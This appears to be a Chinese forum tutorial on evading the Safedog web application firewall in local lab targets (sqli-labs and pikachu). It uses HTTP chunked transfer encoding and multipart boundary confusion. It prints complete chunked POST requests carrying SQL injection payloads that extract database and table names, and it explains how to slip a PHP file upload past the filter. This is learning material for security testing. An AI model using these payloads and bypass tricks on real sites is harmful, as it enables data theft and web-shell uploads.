目錄
0x01 前言 環(huán)境的搭建: 0x02 HTTP補(bǔ)充: 分塊傳輸?shù)慕榻B: 請(qǐng)求頭Transfer-encoding: HTTP持久化連接: Content-Type介紹: waf繞過的思路: 例如: 繞過安全狗的sql注入: 以sql-labs為例: 讀取數(shù)據(jù)庫(kù)名 讀取表名: 讀列名: 讀取數(shù)據(jù): 繞過安全狗的文件上傳(以pikachu靶場(chǎng)為例 Content-Type中的boundary邊界混淆繞過 深入研究boundary邊界問題: boundary邊界問題fuzz: boundary邊界一致: boundary結(jié)束標(biāo)志不一致: boundary開始標(biāo)志不一致: 多個(gè)boundary: 多個(gè)boundary混淆: 發(fā)現(xiàn): 對(duì)于分塊傳輸?shù)男ip: 總結(jié):
0x01 前言 某狗可謂是比較好繞過的waf,,但是隨著現(xiàn)在的發(fā)展,,某狗也是越來越難繞過了,但是也不是毫無辦法,,爭(zhēng)取這篇文章給正在學(xué)習(xí)waf繞過的小白來入門一種另類的waf繞過,。某狗可謂是比較好繞... 0x01 前言某狗可謂是比較好繞過的waf,但是隨著現(xiàn)在的發(fā)展,,某狗也是越來越難繞過了,,但是也不是毫無辦法,爭(zhēng)取這篇文章給正在學(xué)習(xí)waf繞過的小白來入門一種另類的waf繞過,。 某狗可謂是比較好繞過的waf,,但是隨著現(xiàn)在的發(fā)展,某狗也是越來越難繞過了,,但是也不是毫無辦法,,爭(zhēng)取這篇文章給正在學(xué)習(xí)waf繞過的小白來入門一種另類的waf繞過。
環(huán)境的搭建:環(huán)境的搭建就選擇phpstudy2018+安全狗最新版(2022年10月23日前) Tip: (1)記得先在phpstudy的Apache的bin目錄下初始化Apache服務(wù),,一般來說,,第一次為詢問是否確認(rèn),第二次為確認(rèn)安裝(命令:httpd.exe -k install -n apache2.4 用管理員打開) (2)上傳防護(hù)中把完整的post包過濾勾選上,。
0x02 HTTP補(bǔ)充:分塊傳輸?shù)慕榻B:分塊傳輸編碼是超文本傳輸協(xié)議(HTTP)中的一種數(shù)據(jù)傳輸機(jī)制,,允許HTTP由應(yīng)用服務(wù)器向客戶端發(fā)送的數(shù)據(jù)分成多個(gè)部分,在消息頭中指定 Transfer-Encoding: chunked 就表示整個(gè)response將使分塊傳輸編譯來傳輸內(nèi)容,。一個(gè)消息塊由n塊組成,,并在最后一個(gè)大小為0的塊結(jié)束。
請(qǐng)求頭Transfer-encoding:官方文檔: 告知接收方為了可靠地傳輸報(bào)文,,已經(jīng)對(duì)其進(jìn)行了何種編碼,。
chunked編碼,使用若干個(gè)chunk串連接而成,,由一個(gè)標(biāo)明長(zhǎng)度為0的chunk表示解釋,,每個(gè)chunk分為頭部和正文兩部分,頭部?jī)?nèi)容定義了下一行傳輸內(nèi)容的個(gè)數(shù)(個(gè)數(shù)用16進(jìn)制來進(jìn)行表示)和數(shù)量(一般不寫數(shù)量,,但是為了混淆,,這里還是把數(shù)量寫上去)正文部分就是指定長(zhǎng)度的實(shí)際內(nèi)容。兩部分之間用(CRLF)來隔開,,在最后一個(gè)長(zhǎng)度為0的chunk中表示結(jié)束,。并且長(zhǎng)度中是以;作為長(zhǎng)度的結(jié)束 數(shù)據(jù)包中添加:Transfer-Encoding: chunked 數(shù)字代表下一行的字符所占位數(shù),最后需要用0獨(dú)占一行表示結(jié)束,,結(jié)尾需要兩個(gè)回車
當(dāng)設(shè)置這個(gè)Transfer-Encoding請(qǐng)求頭的時(shí)候,,會(huì)有兩個(gè)效果: Content-length字段自動(dòng)忽略 基于長(zhǎng)久化持續(xù)推送動(dòng)態(tài)內(nèi)容(不太了解,但是第三感覺有研究?jī)?nèi)容)
HTTP持久化連接:因?yàn)楝F(xiàn)在大多數(shù)是http1.1協(xié)議版本,,所以的話,,只在Transfer-Encoding中定義了chunked一種編碼格式,。 持久化連接: Http請(qǐng)求是運(yùn)行在TCP連接上的,所以自然有TCP的三次握手和四次揮手,,慢啟動(dòng)的問題,,所以為了提高h(yuǎn)ttp的性能,就使用了持久化連接,。持久化連接在《計(jì)算機(jī)網(wǎng)絡(luò)》中有提及,。
在Http1.1的版本中規(guī)定了所有連接默認(rèn)都是持久化連接,除非在請(qǐng)求頭上加上Connection:close,。來關(guān)閉持久化連接,。
Content-Type介紹:Content-Type:互聯(lián)網(wǎng)媒體類型, 也叫MIME類型,,在HTTP的協(xié)議消息頭中,,使用Content-Type來表示請(qǐng)求和響應(yīng)中的媒體數(shù)據(jù)格式標(biāo)簽,用于區(qū)分?jǐn)?shù)據(jù)類型,。 常見Content-Type的格式如下: Content-Type: text/html; Content-Type: application/json;charset:utf-8; Content-Type:type/subtype ;parameter Content-Type:application/x-www-form-urlencoded Content-Type:multipart/form-data
重點(diǎn)介紹multipart/form-data: 當(dāng)服務(wù)器使用multipart/form-data接收POST請(qǐng)求的時(shí)候,,服務(wù)器如何知道開始位置和結(jié)束位置的呢?,?,? 其中就是用了boundary邊界來進(jìn)行操作的。
waf繞過的思路:正常傳輸?shù)膒ayload都是可以被waf的正則匹配到的,,而進(jìn)行分塊傳輸之后的payload,,waf的正則不會(huì)進(jìn)行匹配,,而又滿足http的規(guī)則,,所以就能繞過waf。
例如:正常傳輸過程中是這樣的,。 那么分塊傳輸之后,,就變成了這樣。 POST /sqli-labs-master/Less-11/ HTTP/1.1 Host: 192.168.172.161 Content-Length: 128 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.172.161 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.172.161/sqli-labs-master/Less-11/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Transfer-Encoding: chunked
4 unam 1 e 1 = 4 admi 1 n 1 & 4 pass 2 wd 1 = 4 admi 1 n 1 & 4 subm 2 it 1 = 4 Subm 2 it 0
說明是可以識(shí)別分塊傳輸?shù)臇|西,,那么我們就可以構(gòu)造payload來看是否可以繞過waf,。 繞過安全狗的sql注入:這里先解決一下繞過安全狗的方式,在常見的方式中,,我們都采用垃圾字符填充的方式來繞過安全狗,,雖然效果很好,但是較為復(fù)雜,,也容易出現(xiàn)被狗咬傷的情況,,所以為了解決這一現(xiàn)狀,小秦同學(xué)翻閱之后發(fā)現(xiàn)了分塊傳輸?shù)姆绞絹砝@過安全狗,。但是分塊傳輸目前來看只能適用于post請(qǐng)求,。get請(qǐng)求還是比較難說,。 以sql-labs為例:在sqli-labs的第十一關(guān),我們發(fā)現(xiàn)了可以用post請(qǐng)求,。先正??纯催^濾哪些字符,這里開門見山,,直接把'union select (database()),2#,。這個(gè)東西進(jìn)行了過濾
咱們可以嘗試使用分塊傳輸?shù)姆绞絹磉M(jìn)行繞過。這里在請(qǐng)求頭中添加,。 Transfer-Encoding: chunked 這個(gè)東西,,然后進(jìn)行分塊即可。
讀取數(shù)據(jù)庫(kù)名POST /sqli-labs-master/Less-11/ HTTP/1.1 Host: 192.168.172.161 Content-Length: 251 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.172.161 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.172.161/sqli-labs-master/Less-11/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Transfer-Encoding: chunked
1 u 4 name 1 = 1 & 2 pa 4 sswd 1 = 3 %27 2 un 1 i 2 on 1 + 2 se 1 l 2 ec 1 t 1 + 3 %28 2 da 1 t 2 ab 1 a 2 se 3 %28 3 %29 3 %29 3 %2C 1 2 3 %23 1 & 3 sub 3 mit 1 = 3 Sub 3 mit 0
讀取表名:POST /sqli-labs-master/Less-11/ HTTP/1.1 Host: 192.168.172.161 Content-Length: 619 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.172.161 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.172.161/sqli-labs-master/Less-11/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Transfer-Encoding: chunked
1 u 2 na 1 m 1 e 1 = 1 & 2 pa 2 ss 2 wd 1 = 3 %27 1 u 2 ni 1 o 1 n 1 + 2 se 2 le 1 c 1 t 1 + 3 %28 2 se 1 l 1 e 2 ct 1 + 2 gr 2 ou 1 p 1 _ 2 co 2 nc 2 at 3 %28 2 ta 2 bl 1 e 1 _ 2 na 2 me 3 %29 1 + 2 fr 2 om 1 + 2 in 2 fo 1 r 3 mat 2 io 1 n 1 _ 2 sc 3 hem 1 a 1 . 2 ta 2 bl 2 es 1 + 2 wh 2 er 1 e 1 + 2 ta 2 bl 1 e 1 _ 2 sc 2 he 1 m 1 a 3 %3D 2 da 1 t 2 ab 3 ase 3 %28 3 %29 3 %29 3 %2C 1 2 3 %23 1 & 2 su 3 bmi 1 t 1 = 2 Su 4 bmit 0
讀列名:讀取數(shù)據(jù):繞過安全狗的文件上傳(以pikachu靶場(chǎng)為例這里上面講到了分塊傳輸,,這里直接先使用分塊傳輸來進(jìn)行繞過,。這里講下計(jì)算方式,因?yàn)槲募蟼鞑幌駍ql注入那樣單行,,所以文件上傳是會(huì)有回車和空格的計(jì)算,,(一個(gè)回車和一個(gè)空格占兩個(gè)字符)。例如下圖:
紅框中的部分,,分別處于不同的行,,所以需要傳入回車,所以這部分就應(yīng)該是:
這塊先去上傳php文件為例,,可以進(jìn)行分塊傳輸?shù)臉?gòu)造,。然后上傳。
發(fā)現(xiàn)單單的分塊傳輸已經(jīng)不能繞過安全狗文件上傳的檢測(cè)了,。
Content-Type中的boundary邊界混淆繞過因?yàn)樯厦嬷v到了Content-Type類型,,那么對(duì)于我們來說,文件上傳一定是利用了Content-Type中的multipart/form-data來進(jìn)行的文件上傳操作,,剛才講到了利用multipart/form-data必須用boundary邊界來進(jìn)行限制,,那么我們這里研究一下boundary邊界的一些問題。 深入研究boundary邊界問題:這里拿上面的邊界來做文章,,這里看到了,,當(dāng)上面定義了boundary=----WFJAFAOKAJNFKLAJ的時(shí)候我想到了兩個(gè)問題。 1.如果有兩個(gè)boundary是取前一個(gè)還是后一個(gè),? 2.boundary結(jié)束標(biāo)志必須和定義的一定相同嘛,?
下面繼續(xù)一一測(cè)試
boundary邊界問題fuzz:boundary邊界一致:boundary結(jié)束標(biāo)志不一致:boundary開始標(biāo)志不一致: 上面經(jīng)過研究可以發(fā)現(xiàn)boundary結(jié)束標(biāo)志不影響判斷。
多個(gè)boundary:
所以當(dāng)定義兩個(gè)boundary的時(shí)候,,只有第一個(gè)起作用,。經(jīng)過了上面的測(cè)試發(fā)現(xiàn),我們可以通過構(gòu)造多個(gè)boundary和修改boundary結(jié)束標(biāo)志來達(dá)到混淆的效果,,這里進(jìn)行測(cè)試,。 多個(gè)boundary混淆:這里進(jìn)入uploads/1.php查看 成功繞過waf,。
發(fā)現(xiàn):這里發(fā)現(xiàn),其他不用非得加boundary混淆,,測(cè)到boundary后面加分號(hào)就直接可以繞過安全狗來上傳成功,。
對(duì)于分塊傳輸?shù)男ip:(1)分塊傳輸?shù)拿總€(gè)長(zhǎng)度以;結(jié)尾,所以可以構(gòu)造1;fjaojafjao這種來干擾waf (2)分塊傳輸?shù)臅r(shí)候是不會(huì)管Content-Length的長(zhǎng)度,,所以可以通過Content-Length的長(zhǎng)度變換來繞過某些waf (3)分塊傳輸只是適用于post請(qǐng)求,,這也是存在的弊端問題
總結(jié):繞過waf的方式多種多樣,但是越簡(jiǎn)單的方式越需要底層的探索,,所以底層的學(xué)習(xí)是非常必要的,。希望給正在學(xué)習(xí)繞waf的小伙伴提供一些思路。而不僅限于垃圾字符填充,。 參考文獻(xiàn):https://zhuanlan.zhihu.com/p/465948117 http://t.zoukankan.com/liujizhou-p-11802189.html https://copyfuture.com/blogs-details/202203261638435585
用戶773616194 奇安信攻防社區(qū) https://forum.butian.net/share/1982
|